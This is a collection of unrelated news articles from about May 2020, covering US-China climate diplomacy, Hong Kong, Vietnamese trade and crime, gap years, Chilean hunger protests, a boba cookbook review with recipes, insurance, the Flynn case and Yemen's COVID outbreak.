This had a huge catalytic effect on the climate talks that took place in Paris that December. For the most part, the rest of the world followed suit, with the vast majority of countries committing to their own plans to reduce emissions. And, with the U.S. and China making nice, other countries saw past old divisions. The U.S.-China relationship was obviously quite central to the years leading up to Paris, Todd Stern, the chief U.S. climate negotiator during the Obama administration, told me a few years later.

Bodnar suggests that theres one specific area of collaboration that seems especially relevant right now: the work the two countries did together to help stop the spread of the Ebola virus in 2014.

Another chance?

The texture of the U.S. relationship with China is unlikely to go back to that of the Obama years, no matter who is president after the 2020 elections. Democrats and Republicans alike largely agree that the U.S. needs an aggressive posture to take on China, with officials on both sides of the aisle upset at the countrys weak protection of intellectual property, inhumane treatment of the countrys Uyghur population and its aggressive posture towards Taiwan and Hong Kong. Increasingly, U.S. legislators have support in this thinking from key allies in Europe and elsewhere.

And meanwhile, Chinas increasing isolation presents a challenge for international climate efforts. China is the worlds largest greenhouse-gas emitter and second-largest economy. While it has invested heavily in becoming the worlds leading manufacturer of green technology, and is on track to exceed its commitments under the Paris Agreement, it continues to build heavy-polluting industrial facilities at home and to finance such projects abroad.

China will keep moving on green energy for competitive purposes, but a look at the global emissions trajectory suggests thats not enough for the world to stem temperature rise. One avenue to encourage China to move more aggressively to slow its emissions, international climate experts say, is for other countries to push it to change its trajectory, either through a revival of collaborative efforts with the U.S. or new competitive engagement where countries are competing to capture the green economy.

In recent years, the European Union was seen as a likely contender to fill the collaborator shoes the U.S. has recently left unoccupied. Before the coronavirus pandemic struck, China and the EU were planning a big summit this fall that climate advocates hoped would lead to new collaborative commitments, which in turn would set the table for a significant United Nations climate conference in November. The climate conference has been postponed, and the likelihood of a big climate win out of the EU-China summit seems increasingly distant as tensions remain high, though its still possible that they could use the opportunity to commit to new climate initiatives.

Still, even as Trump has eroded his countrys standing in the world, theres no match for the geopolitical might of the U.S. Under Trump, its hard to imagine the U.S. government making any real constructive moves on climate, let alone a collaboration with China on the issue. But Democratic presidential hopeful Joe Biden has vowed to reengage the world, and has made climate diplomacy a key part of his climate plan.

Its also possible that a new administration in the U.S. could push China on climate even without such collaboration. Some climate experts and policymakers would like to see a robust competition emerge between the two countries on clean energy. China already leads the world in everything from solar-panel manufacturing to electric-vehicle production. The U.S. needs to invest so as not to cede the 21st century decarbonized economy to China, experts argue, and a green arms race, so to speak, would push both countries to move quicker.

Representative Ro Khanna, a California Democrat, framed it to me last year as a question: How can you believe Chinas the biggest strategic threat and then let them become the OPEC of the 21st century on new energy? Its a great pointbut one that becomes null and void if the president doesnt accept the science of climate change.

A version of this article was originally published in TIMEs climate newsletter, One.Five. Click here to sign up to receive these stories early.
In this file photo State Department Spokesperson Morgan Ortagus speaks during a briefing at the U.S. Department of State Jan. 17, 2020, in Washington, DC. The United States on May 21 urged China to respect Hong Kong's autonomy, warning that its proposed national security law for the city would be "highly destabilizing" and face global opposition. AFP



The United States on Thursday urged China to respect Hong Kong's autonomy, warning that its proposed national security law for the city would be "highly destabilizing" and face global opposition.



"Any effort to impose national security legislation that does not reflect the will of the people of Hong Kong would be highly destabilizing, and would be met with strong condemnation from the United States and the international community," State Department spokeswoman Morgan Ortagus said.



She said that China's statements and the proposed legislation "undermine" China's promises it made before regaining control of the financial hub from Britain in 1997.



"We urge Beijing to honor its commitments and obligations in the Sino-British Joint Declaration  including that Hong Kong will 'enjoy a high degree of autonomy' and that people of Hong Kong will enjoy human rights and fundamental freedoms," Ortagus said.



President Donald Trump earlier Thursday also promised a response when told of the move on Hong Kong.



"I don't know what it is, because nobody knows yet. If it happens, we'll address that issue very strongly," Trump said.






A 67-year-old woman from the north-central Vietnamese province of Nghe An has been sentenced to 12 years behind bars for murdering her own granddaughter over conflict with the girls father.

The sentence was handed to Pham Thi Huong, whose registered address is in Hau Thanh Commune, located in Yen Thanh District, at a court in Nghe An on Friday.

The murder took place on November 3 last year, when Huongs 11-year-old granddaughter N.T.T. was on her way home on an electric bicycle from a friends birthday party and met Huong biking nearby.

Huong then parked her bicycle at a local grocery store as she agreed to let T. ride her to a relatives house on the electric bicycle.

On their way, T. talked about her father, who is Huongs son, making the grandmother angry as she and the son had previously had an arguement.

As Huong wanted to handle the granddaughter as a replacement for the father, the elderly asked T. to take her to the Bau Ganh dam to take a bath there.

While T. was helping Huong wipe her back, the grandmother pushed the 11-year-old girl into the water and returned home as if nothing had happened.

Given the absence of T., her family went searching for the girl while Huong went to Hanoi with a friend to look for a job.

It was not until around 5:30 am on November 5, 2019 that the girls body was discovered in the water near the dam.

CCTV footage extracted from a nearby residences security camera showed parts of when T. met Huong on November 3 and proved the grandmother was the last person in contact with the young victim before her death.

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Analysts say that Vietnam will be able to ease reliance on some trade partners because of the EVFTA.

They believe it is risky to rely on certain trade partners, especially for Vietnam, which has an open economy with import/export accounting for a high proportion of its GDP.





Official reports showed that the China-Vietnam border closure means a 22-24 percent decrease in Vietnams farm export turnover.



Nguyen Quang Trung from RMIT University also warned that the high trade surplus with the US and the continued sharp rise in exports to the market may be unsustainable. If the Trump administration changes its trade policies, Vietnams enterprises will fall into difficult situation.



Vietnam has had a deficit in trade with China over many years, while the surplus in the trade with the US has been increasing. Trung believes that building balanced overall trade will help stabilize the economy and increase its resistance to external shocks such as the Covid-19 pandemic.

Under EVFTA, Vietnams enterprises will get benefits from preeminent products with low prices from EU and can use products in their production process, which helps improve productivity and profit of Vietnams exports.

In such conditions, EVFTA can be of vital significance, alongside with other international agreements such as CPTPP.



An economist commented that EVFTA is a good agreement for Vietnam because it sets stricter rules and requirements for both sides to observe. This means that there will be fewer opportunities for countries to follow the beg-thy-neighbor policy for short-term benefits.



The next-generation FTAs will also bring Vietnam opportunities to improve its position in the global trade map, and bring advantages, which exceed low labor cost and abundant agricultural resources.



The EU has committed to remove 99 percent of tariff lines, equal to 99 percent of Vietnams total export turnover to the EU, within seven years after the EVFTA takes effect.

The competitiveness of Vietnams products, especially garments, footwear and farm produce, will improve once the energy sector changes to meet low carbon emission standards.



Under EVFTA, Vietnams enterprises will get benefits from preeminent products with low prices from EU and can use products in their production process, which helps improve productivity and profit of Vietnams exports.



As competition increases, Vietnam will have more reasons to boost trade through the harmonization of legal conditions, rules of origin, and administrative and customs regulations, as well as the recognition of each other's standards and regulations.



However, Vietnam has been warned of big challenges. The provisions in EVFTA related to the protection of laborers interests and public procurement differ from current regulations and standards. The private sector will have to be prepared to meet requirements on supply and value chain upgrading.



Trung said it is necessary to assist SMEs, which are flexible, but weak and vulnerable to the changes of circumstances because of a lack of resources.

Linh Ha

Vietnam has high hopes for investments from Europe after EVFTA ratification Vietnam is looking forward to receiving high-quality investments from Europe once the EU-Vietnam FTA (EVFTA) and the EU-Vietnam Investment Protection Agreement (EVIPA) take effect.
With many colleges and universities still deciding when to re-open their campuses after they were shuttered due to COVID-19, many high school seniors are thinking about taking a gap year. Putting off college during the pandemic might enable them to get the on-campus experience they desire in 2021 instead of going to school remotely this fall.

Traditionally, a gap year is a semester or year of learning through experience. It is typically taken after high school and before college or starting a career. However, some college students choose to take a gap year while theyre still in college or before going to graduate school.

As the coordinator of a research group that examines the impact of taking a gap year, here are five ways that students will benefit from the gap year experience.

1. Avoid burnout

Perhaps most importantly, given the pressure in many high schools to excel in school and extracurricular activities to gain admission to college, a gap year gives students the opportunity to do something completely different. Just taking that step off the treadmill can lead to new growth and self-discovery.

2. Gain maturity

Taking a break from your formal education can contribute to a deeper appreciation of what the purpose of school is really all about. This, in turn, allows students to begin college with a more mature and focused mindset.

A gap year can provide the opportunity to discover new areas of interest and even to completely reinvent yourself. One good example was a student who spent his gap year working as a fishing guide in Alaska. That experience led him to major in environmental resource management. Ultimately, he embarked on a career in nature conservation.

3. Boost academic performance

Could taking a break slow down a students academic momentum? Actually, research conducted by an economist at Middlebury College  and replicated at the University of North Carolina at Chapel Hill  found the opposite is true. Not only did students who took a gap year perform, on average, better than those who did not, they actually performed better than would have been predicted, based on their academic credentials when they applied to college. For instance, the study found that the students who took a gap year earned GPAs that were .15 to .25 points higher than predicted.

4. Earn academic credit

At least one gap year program also provides the opportunity to be admitted to and earn academic credit at a variety of colleges. Other schools, such as Florida State University, the University of North Carolina at Chapel Hill, Princeton and Tufts University offer their own gap year programs for students who want to postpone their on-campus enrollment for a year, but not always for academic credit. These college-based programs can also include financial assistance when needed.

5. Gain independence

Its not necessary to stick with a formal gap year program or limit yourself to just one activity. In my 45 years of working with gap year students, Ive found that some of the best gap year experiences are those that are self-designed.

If you create your own gap year experience, the most important thing to figure out is what you want to get out of it  be that work experience in a career you intend to pursue, learning a foreign language, doing community service or gaining greater cultural or environmental awareness. Then its a matter of creating experiences that lead to that goal.

One memorable example was a student from Oklahoma who spent the first four months of her gap year tending llamas at a monastery in North Dakota, the next four months working for a lawyer in Tulsa and the last four volunteering at an orphanage in the Dominican Republic.

Resources available

While taking a gap year can often cost a lot of money, that doesnt mean the gap year experience is limited only to those who can afford it. Many of the more expensive gap year programs offer need-based financial aid.

It is also important to remember that many self-designed gap year experiences can cost very little, or even provide the opportunity to earn money through jobs or paid internships. Alternatively, it could involve doing volunteer work while living at home. For volunteer experiences away from home, sometimes students get their travel and living expenses covered. Service opportunities are often voluntary and therefore unpaid, but programs such as AmeriCorps City Year provide stipends to cover room and board expenses.

For those who want to join an existing gap year program, there are plenty of opportunities that provide students with a wide range of domestic and international experiences, leadership opportunities, and less formal learning environments. For example, you could check with the Gap Year Association for lists of accredited programs and its own research on the impact of taking a gap year. In addition, USA Gap Year Fairs sponsors fairs around the country in late winter where gap year programs provide information about their opportunities. There are also a number of accredited independent gap year consultants around the country who can provide expert advice on gap year experiences.

For high school seniors contemplating deferring enrollment in college until they can be assured of having the on-campus experience they envisioned, May and early June is the time to consider gap year opportunities and to inform the college admissions office of their desire to delay their enrollment. Not all colleges have the same gap year policies, however, and some are reviewing them in the context of the current pandemic. For these reasons, it is important to learn what a particular colleges or universitys policies are and to make sure you meet the deadlines to inform the institution of your plans.

The Conversation is an independent and nonprofit source of news, analysis and commentary from academic experts.
Los hambrientos piden pan, Plomo les da la milicia

(The hungry ask for bread, The militia gives them lead)

La Carta, Violeta Parra, 1964

The ultra-right government of Chiles President Sebastian Pinera has responded to a nationwide outbreak of protests against hunger with tear gas, water cannon and mass arrests. With goading from the fascistic Independent Democratic Union (UDI), recently enacted draconian laws are being applied to repress and intimidate an inflamed population as the coronavirus pandemic breaks new records in the country and the continent.

As of May 20, there were 53,617 confirmed coronavirus infections in Chile and 544 deaths. The day saw an all-time high of more than 4,000 new cases, and 35 more deaths. As elsewhere in Latin America and internationally, these figures are unquestionably a vast underestimation of the extent of the viruss real spread and toll.

Demonstrators face Carabineros in El Bosque

Only this month did Pinera announce an emergency package to aid the 4.9 million informal sector workers who have recently struck against hunger. The Emergency Family Income delivers a miserable maximum payment of 65,000 pesos (US$80) for each member with a maximum of 500,000 pesos (US$620) per family group per month for up to three months. The government, meanwhile, has boasted that in a 24-hour period, its militarized police, the Carabineros, arrested 2,026 people nationwide, mainly for violating quarantines and curfews, while 1,088 were arrested for violating article 318 of the Criminal Code, endangering public health.

Thirty-seven protesters from greater Santiagos El Bosque commune were arrested on May 18. Fifteen face serious charges for rioting against hunger and the lack of provisions after receiving no state financial assistance, despite being under lockdown since mid-April due to the pandemic.

Undersecretary of the Interior Juan Francisco Galli filed suits against 10 under the anti-looting law for stealing gas cylinders from an unattended distribution company. Three were charged under the anti-barricade law for obstructing a public thoroughfare. Two were accused of allegedly carrying incendiary devices for making Molotov cocktails. All were charged for violating the quarantine and Article 318 for putting the health of the population at risk.

UDI politicians have sought to go further, with Deputy Maria Jose Hoffmann accusing the demonstrators of harbouring drug traffickers in their midst and calling for the Carabineros to do their part, while the UDI mayor, Rodolfo Carter, on the show Mucho Gusto let slip a call for repression and for the protesters to be shot at.

Some sections of the ultra-right sought to claim that the protests was due to premeditated political action conducted by the Chilean left, to which the president of the Communist Party and House deputy, Guillermo Teillier truthfully responded: It is very serious because we did not do anything. The reality is the reality. The reality is that the people are protesting. What can we do? Teillier then pleaded with the government to work constructively with his party.

What provoked the riot? On Monday, May 18, with a 10,000-strong military deployment enforcing the shutdown of the Metropolitan Region of 7 million inhabitants, hundreds of residents of El Bosque commune in Santiago Province rioted after Carabinero police suppressed an earlier protest of senior adults demanding financial aid, assistance with utility payments and basic support.

It was caused in large part by the repression against the elderly, who were protesting in the morning and that led to the anger of the young people who came out to defend their grandparents and parents, Hector Perez, a resident of El Bosque, told the Desconcierto .

As news of the violent repression was transmitted over social media, demonstrations spread to other impoverished working-class communes in the capital, known for their historic resistance against the 17-year military dictatorship of Augusto Pinochet. Demonstrations also emerged in the regional cities of San Antonio, Antofagasta, Arica, Concepcion and Valparaiso. Pots and pans were banged during the night.

By Wednesday, the residents of Villa San Francisco from La Pintana commune set up barricades and cut off traffic to protest the same social hardships. One Pintana resident explained to Teletrece We are the ones who move the country  build the companies because without workers the companies would not exist. Many of my neighbours have had their contracts suspended without pay  we cant quarantine like the eastern sector does because the eastern sector can lock themselves in. Theyve got their refrigerators full. We dont. We live from day to day.

Like so many other outer parts of the capital, sections of Pintana and El Bosque, are campamentos, squatter settlements that subsist in extreme poverty and overcrowding amidst gentrified condominiums and apartments. El Bosque commune suffers from multidimensional poverty at almost double the national average; overcrowding affects 18 percent of households and income poverty is the highest in the Metropolitan Region at 14.5 percent.

Historically, the settlement movement began in the 1950s in land takeovers and collective purchases by organized homeless as many thousands of rural families moved to the capital city in search of work.

Today there are 882 squatter settlements that house tens of thousands of families in squalid, overcrowded conditions. Seventy-five percent of the settlements have poor access to electricity, only 10 percent have regular access to drinking water, and 81 percent have poor access to sewage services. Squatter settlements have been on the rise since the 2008 global financial crisis and under Socialist Party and ultra-right governments alike. In 2007, 28,578 families were living in campamentos. By 2016 the number of families had increased to 38,570, and by 2019 it had almost doubled to 46,423, a significant fraction of whom are immigrants who receive no state assistance under conditions of an economic slowdown.

That was before the pandemic. El Mostrador early this month revealed that 16 of the poorest working-class communes in the Metropolitan Region had among the largest numbers of coronavirus infections with a growth rate of over 40 percent. Infections are doubling every two days and hospitals, running at 90 percent occupancy, are saturated, without sufficient resources, beds or personnel.

Only two weeks ago, a fire ravaged a settlement located in La Pincoya in the commune of Huechuraba that destroyed 24 homes and left 100 families utterly destitute. Like the other working-class neighbourhoods that resisted the military dictatorship, La Pincoya has suffered a disproportionate amount of police violence and state neglect.

An open letter submitted to social media by Pincoyano residents explained that since the massive social explosion last October, we have had to face serious and systematic violations of our human rights by state agents just for demonstrating and fighting for a better future for our community and our families.

The letter condemned the state repression, the major media conglomerates for deliberately maligning the community as criminals and drug traffickers and human rights organisations for abandoning their plight.

In the last six months the community has faced the police and the military tear-gassing and shooting with pellets of demonstrators, passers-by and children. Communal areas have been pepper-sprayed to prevent people from congregating. Homes have been raided at gunpoint in search of demonstrators, while detainees have been beaten and dumped in remote places. Tear gas canisters have been intentionally fired at roofs, causing fires. Drones and helicopters have hovered over the commune. Primary and high schools have been tear-gassed; children and adolescents harassed. Even the local primary care health centre has been repeatedly tear-gassed while attending to medical and public health emergencies.

The letter concluded: Abandoned by the state, the municipality and the institutions in general, the inhabitants of La Pincoya will resist and continue in the streets fighting for our rights ... Neither their bullets nor their repression will be able to silence the voice of the people! We will continue to resist!

Communal assemblies have formed in La Pincoya to oppose this state repression. These popular social and political assemblies have also been established in many other working-class communities.

The economic crisis, exacerbated by the health crisis and the complete lack of substantive assistance to millions, has in fact given rise to many working-class initiatives on a level not seen since the revolutionary period of 1968 to 1973.

An olla comun in 1980s Chile

These include the olla comun, or communal kitchens, which have cropped up across the country as workers come together to purchase, distribute and package food hampers to deal with the exponential growth of want and misery. Trucks are collectively hired to pick up and distribute rations to women involved in the production of foodstuffs which are then distributed to the poor, elderly, frail and sick.

Desconcierto interviewed another El Bosque resident, Patricia Conoman, who lives with nine other people in a single apartment. She said, Here the right to health, the right to equal housing and now the right to eat is a laugh. We are living in very difficult times.

People are now setting up fires again to cook, at the fair they are selling an oil quart in plastic bottles and in the shops people buy individual tea bags. Its like going back in time, something I never thought I would experience again. Its like the 80s, because its not only hunger but also repression.

The working class requires a clearly worked out program and perspective that transforms its initiatives into weapons for the conquest of state power. This is possible only when it mobilises independently in the fight for revolutionary international socialism and the overthrow of capitalism. This requires, above all, the building of a Chilean section of the International Committee of the Fourth International.
It feels a little weird reading The Boba Book right now.

Its the first major cookbook devoted to boba in the U.S., fittingly written by the founders of San Franciscos immensely popular Boba Guys chain, Andrew Chau and Bin Chen. But Boba Guys shut down all of its stores just before shelter-in-place  making headlines by laying off 400 people at once  and has only recently begun reopening locations with an order-ahead model.

For the uninitiated, boba refers to both the black, chewy tapioca balls that sink to the bottom of milk tea and the beverage itself. Sometimes its called bubble tea. The New York Times once apologized for calling the tapioca balls blobs, which Chau and Chen playfully reference in the book. The combination of warm, bouncy boba and sweet, creamy tea is a classic comfort for many Asian Americans.

Not to over-romanticize a simple drink, but boba is an experience  about history, culture, and identity, the founders write in the book. And if you look hard enough into that cloudy cup, youll probably learn something about Asia, about America, and, we think, about our societys future.

Boba tea was invented in Taiwan in the 1980s, migrating through Asia and landing in the U.S. in the 90s. Many of the earliest local boba shops were franchisees of international chains, which used powdered teas and nondairy creamer. But boba has grown up since then, and a lot of that evolution is credited to Boba Guys, which quickly made a name for itself by serving drinks brewed with high-quality tea leaves, organic milk and fresh fruit. The chain grew to 16 locations across the Bay Area, Los Angeles and New York.

Christopher Testani

Part of Boba Guys success is its on-trend Millennial brand, which is fitting given it was founded by Millennials and specializes in a product that is itself a Millennial. The Boba Book follows suit  its fun, irreverent and self-aware. There are clips of digital conversations, appearing as familiar blue and green bubbles on the side of the page, and big photos of attractive hipsters holding branded cups with reusable fat straws. Thoughtful reflections on Asian American identity and cultural appropriation are peppered throughout.

The main attraction, of course, is more than 100 recipes for boba drinks, including Boba Guys most famous concoction: the matcha latte with strawberry puree, which is surprisingly achievable to make at home and tastes just as refreshing as when the professionals serve it.

That said, most of the recipes require making multiple components, such as a brewed tea, a sweet syrup and tapioca pearls. Even Boba Guys basic tea blend is fairly nerdy: a mix of Assam, Ceylon and Yunnan black tea leaves that took weeks for Chau and Chen to land on in the search for a zippy, powerful yet mellow mix.

That means a lot of somewhat annoying flipping back and forth, and quite a bit of work for one drink. You might be tempted to leave it to the professionals. But the results are worth the effort, particularly if youre making a few drinks the same afternoon.

All of the Boba Guys classics, including the milk tea and horchata, are in the book, alongside drinks you normally dont see in American boba shops, such as mango lassi, Vietnamese egg coffee and an intriguing sweet potato latte. You might think these drinks dont need boba. More to the point: Anything can be boba.

The one thing this book doesnt offer is a recipe to make boba from scratch. I was surprised by the omission, especially since Boba Guys opened its own boba factory in Hayward, but its also understandable: Making boba from tapioca starch is tedious, and even preparing store-bought boba takes more than an hour. There are other scratch-made toppings recipes, though, such as grass jelly and egg pudding.

Flipping through the pages, I couldnt help but think about the future of Boba Guys and the countless immigrant-owned boba shops around the Bay Area. Its hard not to wonder if theyll make it through the summer  or if theyll make it until 2021.

At least now we can make great boba drinks at home.

Janelle Bitker is a San Francisco Chronicle staff writer. Email: janelle.bitker@sfchronicle.com Twitter: @janellebitker

Christopher Testani

Recipe: Boba Guys Strawberry Matcha Latte

Serves 1

You have probably seen pictures of this drink on Instagram  its a beauty, and the combination of tart fruit and milky green tea is a winner. The viscosity levels of each component are key to achieving the tricolored look in this recipe, adapted from Andrew Chau and Bin Chens The Boba Book (Clarkson Potter). Use a thermometer to gauge the water temperature. If you dont care about the presentation, then dont fret too much, as youll mix up the layers as you drink anyway.

Strawberry puree

1 cups cold filtered water

1 cup raw cane sugar, preferably turbinado

2 cups fresh strawberries, hulled

Strawberry matcha latte

1 teaspoons matcha powder

3 tablespoons filtered water, heated to 170 degrees

2 to 4 tablespoons toppings, such as boba (optional)

8 ounces ice cubes

 cup whole milk

To make the strawberry puree: Combine the water, sugar and strawberries in a blender and blend until the mixture is pureed but still slightly chunky.

You will have more than you need for one drink. The leftover puree will keep, refrigerated, for about a week.

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To make the strawberry matcha latte: Place the matcha powder in a bowl and add 1 tablespoon of the hot water. Whisk vigorously to make a paste. It should have the consistency of peanut butter. Then add the remaining 2 tablespoons hot water and whisk vigorously until any remaining clumps disappear.

Put the toppings, if using, in a large glass. Pour in 6 tablespoons of the strawberry puree. Add the ice and the milk. Then gently pour the matcha over the iced milk, aiming for the ice cubes to keep the layers cleanly separated.

Recipe: Boba Guys Tapioca Balls

Serves 4-6

You can put tons of care into sourcing and brewing tea for boba, but if the tapioca balls are hard and improperly cooked, the whole drink is ruined. That means this recipe, adapted from Andrew Chau and Bin Chens The Boba Book (Clarkson Potter), is extremely important. The goal is to get them to be QQ  the Taiwanese term for pleasing chewiness. Dont use boba thats labeled quick cook or instant  that kind of boba has an undesirable hardening quality. Instead, look for brands like Bossen and Lollicup from Taiwan, available online or at some Asian grocery stores. The key things to remember are to stir frequently, or else the bottom will burn, and that thetapiocaballs need to be served fresh  no more than 4 hours after theyre made  or else theyll turn mushy.

House syrup

1 cup dark brown sugar, packed

1 cup white sugar

1 cup boiling-hot filtered water

Boba

1 quart filtered water, plus more as needed

1 cup dried tapioca balls

To make the house syrup: Combine the brown and white sugars in a heatproof bowl. Whisk in the hot water until dissolved. You will make about 2 cups. Store leftover syrup in the refrigerator.

To make the boba: In a medium saucepan, bring the water to a rolling boil over high heat. Add the boba and cook for 30 minutes, stirring frequently during the first 10 minutes to prevent the boba from burning. Cover and stir occasionally for the remainder of the time. Add more hot water if necessary to keep the tapiocaballs covered.

Take the pot off the heat and let the boba rest for another 30 minutes. Strain the boba through a colander or a strainer, discarding the water, and pour them into a mixing bowl. Stir in the  cup of the house syrup and let soak for an additional 30 minutes until the boba absorb some of the sweetness; they wont get any sweeter if they continue to sit longer.

Serve immediately or hold the boba warm or at room temperature for no more than 4 hours. When you add the boba to drinks, scoop some of the balls out with a little strainer to leave the syrup behind.
Bengaluru, May 22 : Karnataka Police Anti-Corruption Bureau (ACB) has registered an FIR against a senior police officer for allegedly taking bribe from cigarette distributors during the lockdown, an official said on Friday.

"We have registered an FIR against ACP Prabhu Shankar under Prevention of Corruption Act," ACB Additional Director General of Police (ADGP) T. Suneel Kumar told IANS.

The complaint against Shankar has been referred to the ACB by Director General and Inspector General of Police (DG & IG) Praveen Sood, following allegations that he has collected bribe amid lockdown from some cigarette distributors.

"According to a report submitted by the city police, bribes amounting to Rs 25 lakh have been seized. The city police conducted an enquiry and seized the money," said Kumar.

Police have submitted a report to Sood that has been transferred to the ACB for further probe.
"Given the uncertainty around the COVID-19 situation we have temporarily stopped selling new landlord insurance. Our focus is on supporting our existing customers through this difficult time, a Suncorp spokesperson told Insurance Business Australia.

The spokesperson also said that the company does not consider rent reductions a default by a tenant.

It comes at a particularly difficult time for landlords after state and federal governments rolled out several policies including a moratorium on evictions to protect tenants currently experiencing rental hardship during the pandemic.

Residential landlords were actively encouraged by state and federal leaders to renegotiate rent payments or deferrals with their tenants, leaving mum and dad investors financially out of pocket.

The spokesperson also acknowledged the moratorium eviction which is in effect and confirmed that it was only after a tenant leaves the property with any accrued unpaid rent that a landlord could lodge a claim.

In circumstances where a tenant cannot be evicted while an eviction moratorium is in effect, the unpaid rent would continue to accrue until the tenant leaves the property, which may be after the end of the moratorium, they explained. Upon the eventual leaving of the tenant, landlords can follow the normal processes to remedy the arrears or lodge a claim.

We wont require landlords to issue a notice of eviction during the moratorium period for a later claim to be valid, but this is limited to the period of the moratorium.

The Insurance Council of Australia (ICA) says tenants who are struggling to cover the cost of their rent can seek government support.

"Governments expect that tenants should continue to pay some rent where they have funds available, especially when they are receiving taxpayer-funded support such as JobKeeper, JobSeeker or rental assistance," Campbell Fuller, head of communications and media relations at ICA, told Insurance Business Australia.

Fuller said in cases where tenants are unable to meet their obligation, insurers will not pursue them for unpaid rent. However, he said landlords must know that not all policies cover loss of rent.

"Landlord insurance protects the investment that a landlord has made in a rental property. Cover can be purchased for the building, contents or rental income, or any combination of these. Cover for loss of rent is not always included in a landlord policy and may be added as required."
Director of National Intelligence to Fully Declassify Some Flynn Transcripts

Acting Director of National Intelligence Richard Grenell is in the process of fully declassifying some of the call transcripts involving former National Security Advisor Michael Flynn.

The [intelligence community] doesnt have all the transcripts/summaries.it wasnt our product, Grenell wrote on Twitter. But I already started the declassification for the few we received. They should be released in full, though. The public deserves to see it.

Flynn recently withdrew his guilty plea, in which he admitted to lying to the FBI about the contents of his calls with Russian ambassador Sergey Kislyak, including whether the two men discussed sanctions. Only select portions of his the transcripts have been released as part of the court proceedings in Flynns case.

Flynns defense attorney, Sidney Powell, on May 20 joined the call for the release of the full transcripts.

I think the reason we havent seen [the transcripts] is because the word sanctions doesnt even appear in them, Powell told SiriusXMs The Dan Abrams Show. I would love to see the release of that transcript.

Flynn pleaded guilty to a list of false statements in late 2017, including ones saying that he and Kislyak discussed sanctions.

Notably, Grenell pointed out that the U.S. intelligence community is not in possession of all of the transcripts and summaries of Flynns calls, which suggests that some of the information was collected by a foreign intelligence service.

The Department of Justice (DOJ) on May 7 moved to dismiss the charges against Flynn, arguing that the FBI had no basis to conduct the interview during which he allegedly lied. The departments motion was accompanied by a trove of documents which extensively substantiate the allegation that Flynn was set up by senior Obama administration holdovers.

The judge in Flynns case, Emmet Sullivan, has not ruled on the DOJs motion to dismiss the case and has instead appointed an amicus curiae (Friend of Court), former federal Judge John Gleeson, to argue the case against dismissal and whether Flynn should be charged with perjury. Flynns attorneys appealed for intervention from a circuit court, which in turn issued a rare order calling on Sullivan to explain his actions.

The release of the transcripts would be the latest in a wave of declassifications related to Flynns case. Grenell authorized the release of a list of unmasking requests related to Flynn that included the whos-who from the top echelons of the Obama administration, including Vice President Joe Biden. Grenell also declassified a portion of an email sent by National Security Advisor Susan Rice which showed that President Barack Obama personally discussed Flynn with FBI Director James Comey and DOJ Deputy Attorney General Sally Yates at the White House on Jan. 5, 2017.

On the day prior to the White House meeting, the FBI scrambled to keep Flynns case open even though Comey had already approved the case to be closed days earlier after the investigation yielded no evidence of alleged collusion.

Special counsel Robert Mueller, who indicted Flynn, concluded his 22-month investigation having found no evidence to establish that anyone on Trumps campaign colluded with Russia to influence the 2016 presidential election.
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San Francisco, 20 May 2020: The Report Polyphenylene Oxide (PPO) Market Size, Share & Trends Analysis Report By Application (Electronic Components, Fluid Handling, Air Separation Membranes, Medical Instruments, Automotive), And Segment Forecasts, 2018 - 2025

The global polyphenylene oxide (PPO) market size is projected to reach USD 2.27 billion by 2025, according to a new report by Grand View Research, Inc., expanding at a CAGR of 5.3% during the forecast period. Rising demand from end-user industries such as automotive and electronics & electrical.

Globally, surging demand for electronic products such as outlet boxes, smoke detectors, and lighting is poised to boost the growth of the PPO market. Improving living standards coupled with increasing per capita disposable income is estimated to positively impact the market over the forecast years. Burgeoning automotive manufacturing in Latin America and Asia Pacific is expected to stimulate the growth of the market.

Rising consumer awareness regarding new technologies in emerging economies is anticipated to fuel the demand for advanced electronic components. Increasing trade of electronic devices among countries is anticipated to unfold immense growth opportunities for market players.

Electronic components emerged as the leading application segment in the polyphenylene oxide market. Major products where electronic components are used are relay housings, pump housing/impellers, connectors, bobbins, circuit breakers, motor brush cards, coil encapsulation, fans and blowers, heat exchangers, thermostat housings, and large and small appliances.

Increasing PPO application in the electrical and electronics industry such as TV output transformer, air conditioning control boxes, deflection yoke and bobbins are slated to stoke the growth of the market. Asia Pacific is the leading regional market, with a global volume share estimated at over 50.0% in 2017. Favorable economic policies coupled with entry of global plastic manufacturers are supporting the growth of the market in Asia Pacific.

A well-established electrical & electronics manufacturing base in China, Taiwan, and South Korea coupled with a strong chemical manufacturing base in India is likely to trigger the adoption of polyphenylene oxide. China being the major market has witnessed tremendous growth in end-use industries.

Access Research Report of Polyphenylene Oxide Market @ https://www.grandviewresearch.com/industry-analysis/polyphenylene-oxide-ppo-market

Further key findings from the report suggest:

In terms of revenue, the automotive application is expected to rise at a CAGR of 4.1% from 2018 to 2025 owing to growing automotive production in emerging economies

The U.S. polyphenylene oxide market is anticipated to exceed 85 kilo tons by 2025, owing to presence of a large number of automotive companies and rapidly increasing shale gas operations

The PPO market is moderately concentrated owing to presence of both large as well as small players

Some of the key companies present in the market are BASF, SABIC, Mitsubishi Chemical Holdings Corp., Sumitomo Chemicals, Momentive Performance Materials, LyondellBasell, Polyplastics Co. Ltd., Asahi Kasei Chemicals Corp., and Solvay SA.

Browse more reports of this category by Grand View Research at: https://www.grandviewresearch.com/industry/specialty-and-fine-chemicals

Grand View Research has segmented the global polyphenylene oxide market on the basis of application and region.

Polyphenylene Oxide Application Outlook (Volume, Kilo Tons; Revenue, USD Million, 2014 - 2025)

Air Separation Membranes

Medical Instruments

Domestic Appliances

Automotive (Structural Parts)

Electronic Components

Fluid Handling

Polyphenylene Oxide Regional Outlook (Volume, Kilo Tons; Revenue, USD Million, 2014 - 2025)

North America

Europe

Asia Pacific

Central & South America

Middle East & Africa

Access Press Release of Polyphenylene Oxide Market @ https://www.grandviewresearch.com/press-release/global-polyphenylene-oxide-market

About Grand View Research

Grand View Research, Inc. is a U.S. based market research and consulting company, registered in the State of California and headquartered in San Francisco. The company provides syndicated research reports, customized research reports, and consulting services. To help clients make informed business decisions, we offer market intelligence studies ensuring relevant and fact-based research across a range of industries, from technology to chemicals, materials and healthcare.

For More Information:www.grandviewresearch.com
World governing body rings alarm bell as it prepares to host donor conference with Saudi Arabia amid the pandemic.

The new coronavirus is believed to be spreading throughout Yemen, where the healthcare system has in effect collapsed, the United Nations has warned as it appealed for urgent funding.

Aid agencies in Yemen are operating on the basis that community transmission is taking place across the country, Jens Laerke, spokesman for the UN Office for the Coordination of Humanitarian Affairs (OCHA), told a Geneva briefing on Friday.

